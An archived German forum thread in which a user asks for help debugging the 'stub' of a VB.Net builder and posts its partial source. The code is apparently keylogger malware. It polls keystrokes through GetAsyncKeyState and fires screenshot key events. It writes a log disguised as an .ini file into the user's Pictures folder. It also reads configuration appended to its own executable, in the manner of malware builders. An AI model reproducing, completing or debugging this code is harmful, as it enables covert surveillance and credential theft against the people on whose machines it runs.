PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [VB.Net]Builder Fehler



DarkFire
20.03.2009, 17:06
Also ich hab nach einen bsp. von The Papst einen Builder erstellt.
Der hat auch gut funktioniert, bis ich mit einem Timer rumgespielt habe, dannach ging nichts mehr.
Es kommt beim starten nur die Fehlermeldung:
http://img12.imageshack.us/img12/486/stubp.jpg

Ich hab alle Befehle, außer die die auf dem Bild sind deaktiviert.. aber es kommt trotzdem die Fehlermeldung..
Hat jemand ne Idee was den Fehler verursacht?


Stub
Imports System.IO

Public Class Form1

Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Keys) As Short
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
Private Const VK_SNAPSHOT As Short = &H2CS
Dim Speicherort As String = "C:\Users\" & System.Environment.UserName & "\Bilder\" & System.Environment.UserName & " - " & "Log" & ".ini"
Dim LoggDatei As New StreamWriter(Speicherort)
Dim rnd As New System.Random()
Dim z As Integer = rnd.Next()
Dim vb6 As New Compatibility.VB6.FixedLengthString(100)
Dim cmd() As String

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Dim StubPfad As String = Application.ExecutablePath
Dim StubCopy As String = StubPfad.Substring(0, StubPfad.IndexOf(".")) & "stubcopy.exe"

IO.File.Copy(StubPfad, StubCopy)

FileOpen(1, (StubCopy), OpenMode.Binary)
FileGet(1, vb6.Value, LOF(1) - 99)
FileClose(1)

cmd = vb6.Value.Split("~")
IO.File.Delete(StubCopy)